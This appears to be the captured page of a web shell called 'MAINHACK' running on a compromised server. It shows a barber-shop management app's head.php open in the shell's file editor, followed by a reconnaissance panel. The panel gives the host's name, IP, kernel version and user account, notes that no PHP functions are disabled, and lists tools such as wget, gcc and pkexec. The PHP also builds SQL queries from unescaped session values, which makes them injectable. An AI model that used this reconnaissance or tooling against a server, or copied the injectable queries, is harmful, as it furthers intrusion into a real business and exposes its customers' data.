[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: head.php
<?php $username = $_SESSION['username_Xw211qAAsq4']; $shopname = $_SESSION['business_name_Xw211qAAsq4']; ?> <header id="page-topbar"> <div class="navbar-header"> <div class="d-flex align-items-left"> <button type="button" class="btn btn-sm mr-2 d-lg-none px-3 font-size-16 header-item waves-effect" id="vertical-menu-btn"> <i class="fa fa-fw fa-bars"></i> </button> <div class="dropdown d-none d-sm-inline-block"> <button type="button" class="btn header-item waves-effect" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="mdi mdi-plus"></i> Business/Shop <i class="mdi mdi-chevron-down d-none d-sm-inline-block"></i> </button> <div class="dropdown-menu"> <!-- item--> <a href="business-profile" class="dropdown-item notify-item"> Business Profile(Defualt) </a> <?php $sow = mysqli_query($new,"SELECT * FROM barber_admin WHERE business_name = '$shopname'"); $userA = mysqli_fetch_array($sow); $userA_Master = $userA['master_account']; $soww = mysqli_query($new,"SELECT * FROM barber_admin WHERE master_account = '$userA_Master'"); $userB = mysqli_fetch_array($soww); $count = mysqli_num_rows($soww); $account = $userB['account_status']; ?> <?php $stmt = $con->prepare("SELECT * FROM barber_admin WHERE username = ? and business_name = ?"); $stmt->execute(array($username,$shopname)); $userstatus = $stmt->fetchAll(); foreach($userstatus as $sta) { $business = $sta['master_account']; $type = $sta['account_type']; if($type == 'Owner' and $business == $shopname){ echo '<a href="allbusniess" class="dropdown-item notify-item"> All Business/shop </a>'; echo '<a href="javascript:void(0);"data-toggle="modal" data-target=".bd-example-modal-lg50" class="dropdown-item notify-item"> Add new business </a>'; } else { } } ?> <!-- item--> </div> </div> </div> <div class="d-flex align-items-center"> <!-- <i class="fa fa-money" aria-hidden="true"></i> --> <li class="list-inline-item" data-toggle="tooltip" title="Today sales"> <a href="#" class="btn btn-success" style="width:35px;height: 35px;" data-toggle="modal" data-target=".bd-example-modal-lgclose" data-placement="top"><i class="fa fa-heart" aria-hidden="true"></i> </a> </li> <li class="list-inline-item" data-toggle="tooltip" title="Alltime service sales"> <a href="#" class="btn btn-secondary" style="width:35px;height: 35px;" data-toggle="modal" data-target=".bd-example-modal-lgalltime" data-placement="top"><i class="fa fa-heart" aria-hidden="true"></i> </a> </li> <!--<li class="list-inline-item" data-toggle="tooltip" title="Shop POS">--> <!--<a href="pos" class="btn btn-primary" style="width:35px;height: 35px;" data-placement="top"><i class="fa fa-shopping-cart" aria-hidden="true"></i>--> <!--</a>--> <!--</li>--> <!-- <li class="list-inline-item" data-toggle="tooltip" title="Today's Profit"> <a href="#" class="btn btn-primary" style="width:35px;height: 35px;" data-toggle="modal" data-target="#<?php echo $edit_data; ?>" data-placement="top"><i class="fa fa-credit-card" aria-hidden="true"></i> </a> </li> --> <!-- <button type="button" class="btn btn-secondary" style="width:30px;height: 30px;"><i class="fa fa-user-times" aria-hidden="true"></i> </button> --> <!-- <button type="button" class="btn btn-secondary" style="width:30px;height: 30px;"><i class="fa fa-user-times" aria-hidden="true"></i> </button> --> <!-- <div class="dropdown d-none d-sm-inline-block ml-2"> <button type="button" class="btn header-item noti-icon waves-effect" id="page-header-search-dropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="mdi mdi-magnify"></i> </button> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-right p-0" aria-labelledby="page-header-search-dropdown"> <form class="p-3"> <div class="form-group m-0"> <div class="input-group"> <input type="text" class="form-control" placeholder="Search ..." aria-label="Recipient's username"> <div class="input-group-append"> <button class="btn btn-primary" type="submit"><i class="mdi mdi-magnify"></i></button> </div> </div> </div> </form> </div> </div> --> <div class="dropdown d-inline-block"> <button type="button" class="btn header-item noti-icon waves-effect" id="page-header-notifications-dropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="mdi mdi-bell"></i> <a class="dropdown-item d-flex align-items-center justify-content-between" href="javascript:void(0)"> <?php $sele = mysqli_query($new,"SELECT count(a.appointment_id) as aid,a.date_created,c.first_name,c.last_name FROM appointments a,clients c WHERE a.client_id = c.client_id AND a.business_name = '$shopname' and a.status = 'online' AND active != 'Yes' "); $fetchrows = mysqli_fetch_array($sele); $date_created = $fetchrows['date_created']; $cnt = $fetchrows['aid']; $fname = $fetchrows['first_name']; $lname = $fetchrows['last_name']; $full_name = $fname.' '.$lname; if(empty($cnt)){ $total = 0; } else { $total = $cnt; } ?> <span> <span class="badge badge-pill badge-info"><?php echo $total;?></span> </span> </a> </button> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-right p-0" aria-labelledby="page-header-notifications-dropdown"> <div class="p-3"> <div class="row align-items-center"> <div class="col"> <h6 class="m-0"> Notifications </h6> </div> <div class="col-auto"> <a href="appointment" class="small"> View All</a> </div> </div> </div> <?php $sele = mysqli_query($new,"SELECT a.appointment_id as aid,a.date_created,c.first_name,c.last_name FROM appointments a,clients c WHERE a.client_id = c.client_id AND a.business_name = '$shopname' and a.status = 'online' AND active = 'no' "); while($fetchrows = mysqli_fetch_array($sele)){ ?> <div data-simplebar style="max-height: 230px;"> <a href="#" class="text-reset notification-item"> <div class="media"> <img src="assets/images/users/avatar-2.jpg" class="mr-3 rounded-circle avatar-xs" alt="user-pic"> <div class="media-body"> <?php echo $fetchrows['first_name'].' '.$fetchrows['last_name'];?> <h6 class="mt-0 mb-1"> <p class="font-size-12 mb-1">Has booked an appointment</p> <p class="font-size-12 mb-0 text-muted"><i class="mdi mdi-clock-outline"></i><?php echo $fetchrows['date_created'];?></p> </h6> </div> </div> </a> </div> <?php }?> </div> </div> <div class="dropdown d-inline-block ml-2"> <button type="button" class="btn header-item waves-effect" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <img class="rounded-circle header-profile-user" src="assets/images/users/avatar-2.jpg" alt="Header Avatar"> <span class="d-none d-sm-inline-block ml-1">Welcome <?= $username;?></span> <i class="mdi mdi-chevron-down d-none d-sm-inline-block"></i> </button> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item d-flex align-items-center justify-content-between" href="javascript:void(0)"> <span>Profile</span> </a> <?php $stmt = $con->prepare("SELECT account_type FROM barber_admin WHERE username = ? and business_name = ?"); $stmt->execute(array($username,$shopname)); $userstatus = $stmt->fetchAll(); foreach($userstatus as $sta) { $namee = $sta['account_type']; } $select_role = mysqli_query($new,"SELECT * FROM role_permissions WHERE business_name = '$shopname' and type = '$namee' and page_name = 'Service Category'"); $rowroles = mysqli_fetch_array($select_role); $rolestatus = $rowroles['status']; $page = $rowroles['page_name']; if($rolestatus == "1"){?> <?php } elseif($namee != "Admin") { ?> <a class="dropdown-item d-flex align-items-center justify-content-between" href="manage-users"> Add Accounts </a> <?php } else {?> <?php }?> <a class="dropdown-item d-flex align-items-center justify-content-between" href="change-password"> <span>Change password</span> </a> <a class="dropdown-item d-flex align-items-center justify-content-between" data-toggle="modal" data-target="#logoutModal" href="#"> <span>Log Out</span> </a> </div> </div> </div> </div> </header> <div class="modal fade bd-example-modal-lgclose" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">TODAY'S SERVICE SALE</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="table-responsive-sm"> <table class="table table-striped"> <tbody> <?php // Initialize total sales and payment type totals $totalSales = 0; $paymentTotals = []; $tdate = date('Y-m-d'); // Fetch distinct payment modes from the database $stmtModes = $con->prepare(" SELECT DISTINCT a.payment_mode FROM appointments a WHERE a.canceled = '0' AND a.active = 'Yes' AND a.created = ? AND a.business_name = ? "); $stmtModes->execute(array($tdate, $shopname)); $paymentModes = $stmtModes->fetchAll(PDO::FETCH_COLUMN); // Create a dynamic list of individual payment types by splitting comma-separated values $individualPaymentTypes = []; foreach ($paymentModes as $mode) { $modes = array_map('trim', explode(',', $mode)); foreach ($modes as $singleMode) { if (!empty($singleMode)) { $individualPaymentTypes[$singleMode] = $singleMode . ' Payment'; // Default display name } } // Include the combined mode (e.g., 'Cash,Momo') as a separate entry if (strpos($mode, ',') !== false) { $individualPaymentTypes[$mode] = $mode . ' Payment'; } } // Initialize totals for each payment type foreach ($individualPaymentTypes as $key => $displayName) { $paymentTotals[$key] = 0; } // Query to group by payment_mode for today's sales $stmt = $con->prepare(" SELECT a.payment_mode, SUM(sb.price) as price, AVG(a.discount) as discount, AVG(a.comRate) as percentage FROM services s JOIN true_price sb ON s.service_id = sb.service_id JOIN appointments a ON sb.appointment_id = a.appointment_id WHERE a.canceled = '0' AND a.active = 'Yes' AND a.created = ? AND a.business_name = ? GROUP BY a.payment_mode "); $stmt->execute(array($tdate, $shopname)); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); // Process query results foreach ($results as $row) { $paymentMode = $row['payment_mode']; $price = $row['price'] ?? 0; $discount = $row['discount'] ?? 0; $discAmount = ($discount / 100) * $price; $afterDiscount = $price - $discAmount; $commissionRate = $row['percentage'] ?? 0; $commission = ($commissionRate / 100) * $afterDiscount; $netAmount = $afterDiscount - $commission; // Split payment_mode if it contains commas $modes = array_map('trim', explode(',', $paymentMode)); $modeCount = count($modes); $splitAmount = $modeCount > 1 ? $netAmount / $modeCount : $netAmount; // Distribute amount to each payment type foreach ($modes as $mode) { if (array_key_exists($mode, $paymentTotals)) { $paymentTotals[$mode] += $splitAmount; $totalSales += $splitAmount; } } // If the payment_mode is a combined type (e.g., 'Cash,Momo'), also add to its own total if (array_key_exists($paymentMode, $paymentTotals)) { $paymentTotals[$paymentMode] += $netAmount; $totalSales += $modeCount > 1 ? ($netAmount - $splitAmount * $modeCount) : 0; // Adjust to avoid double-counting } } // Display each payment type foreach ($individualPaymentTypes as $key => $displayName) { $amount = $paymentTotals[$key] ?? 0; ?> <tr> <td class="center"><?php echo htmlspecialchars($displayName); ?></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($amount, 2); ?></td> </tr> <?php } ?> <!-- Total Sales --> <tr> <td class="center strong"><b>Total Sales</b></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalSales, 2); ?></td> </tr> <!-- Expenses --> <?php $stmtExpenses = $con->prepare("SELECT SUM(item_amount) as price FROM expenses WHERE date = ? AND business_name = ?"); $stmtExpenses->execute(array($tdate, $shopname)); $expense = $stmtExpenses->fetch(PDO::FETCH_ASSOC); $totalExpenses = $expense['price'] ?? 0; ?> <tr> <td class="center">Expenses</td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalExpenses, 2); ?></td> </tr> <!-- Profit --> <tr> <td class="center strong"><b>Profit</b></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalSales - $totalExpenses, 2); ?></td> </tr> </tbody> </table> </div> </div> </div> </div> </div> <div class="modal fade bd-example-modal-lgalltime" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">ALL TIME SERVICE SALE</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="table-responsive-sm"> <table class="table table-striped"> <tbody> <?php // Initialize total sales and payment type totals $totalSales = 0; $paymentTotals = []; // Fetch distinct payment modes from the database $stmtModes = $con->prepare(" SELECT DISTINCT a.payment_mode FROM appointments a WHERE a.canceled = '0' AND a.active = 'Yes' AND a.business_name = ? "); $stmtModes->execute(array($shopname)); $paymentModes = $stmtModes->fetchAll(PDO::FETCH_COLUMN); // Create a dynamic list of individual payment types by splitting comma-separated values $individualPaymentTypes = []; foreach ($paymentModes as $mode) { $modes = array_map('trim', explode(',', $mode)); foreach ($modes as $singleMode) { if (!empty($singleMode)) { $individualPaymentTypes[$singleMode] = $singleMode . ' Payment'; // Default display name } } // Include the combined mode (e.g., 'Cash,MobileMoney') as a separate entry if (strpos($mode, ',') !== false) { $individualPaymentTypes[$mode] = $mode . ' Payment'; } } // Initialize totals for each payment type foreach ($individualPaymentTypes as $key => $displayName) { $paymentTotals[$key] = 0; } // Query to group by payment_mode for all-time sales $stmt = $con->prepare(" SELECT a.payment_mode, SUM(sb.price) as price, AVG(a.discount) as discount, AVG(a.comRate) as percentage FROM services s JOIN true_price sb ON s.service_id = sb.service_id JOIN appointments a ON sb.appointment_id = a.appointment_id WHERE a.canceled = '0' AND a.active = 'Yes' AND a.business_name = ? GROUP BY a.payment_mode "); $stmt->execute(array($shopname)); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); // Process query results foreach ($results as $row) { $paymentMode = $row['payment_mode']; $price = $row['price'] ?? 0; $discount = $row['discount'] ?? 0; $discAmount = ($discount / 100) * $price; $afterDiscount = $price - $discAmount; $commissionRate = $row['percentage'] ?? 0; $commission = ($commissionRate / 100) * $afterDiscount; $netAmount = $afterDiscount - $commission; // Split payment_mode if it contains commas $modes = array_map('trim', explode(',', $paymentMode)); $modeCount = count($modes); $splitAmount = $modeCount > 1 ? $netAmount / $modeCount : $netAmount; // Distribute amount to each payment type foreach ($modes as $mode) { if (array_key_exists($mode, $paymentTotals)) { $paymentTotals[$mode] += $splitAmount; $totalSales += $splitAmount; } } // If the payment_mode is a combined type (e.g., 'Cash,MobileMoney'), also add to its own total if (array_key_exists($paymentMode, $paymentTotals)) { $paymentTotals[$paymentMode] += $netAmount; $totalSales += $modeCount > 1 ? ($netAmount - $splitAmount * $modeCount) : 0; // Adjust to avoid double-counting } } // Display each payment type foreach ($individualPaymentTypes as $key => $displayName) { $amount = $paymentTotals[$key] ?? 0; ?> <tr> <td class="center"><?php echo htmlspecialchars($displayName); ?></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($amount, 2); ?></td> </tr> <?php } ?> <!-- Total Sales --> <tr> <td class="center strong"><b>Total Sales</b></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalSales, 2); ?></td> </tr> <!-- Expenses --> <?php $stmtExpenses = $con->prepare("SELECT SUM(item_amount) as price FROM expenses WHERE business_name = ?"); $stmtExpenses->execute(array($shopname)); $expense = $stmtExpenses->fetch(PDO::FETCH_ASSOC); $totalExpenses = $expense['price'] ?? 0; ?> <tr> <td class="center">Expenses</td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalExpenses, 2); ?></td> </tr> <!-- Profit --> <tr> <td class="center strong"><b>Profit</b></td> <td class="left strong"></td> <td class="left"></td> <td class="right"></td> <td class="center"></td> <td class="right"><?php echo number_format($totalSales - $totalExpenses, 2); ?></td> </tr> </tbody> </table> </div> </div> </div> </div> </div> <style type="text/css"> table { border-collapse: collapse; } td, th { padding: 20px 20px; } </style>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002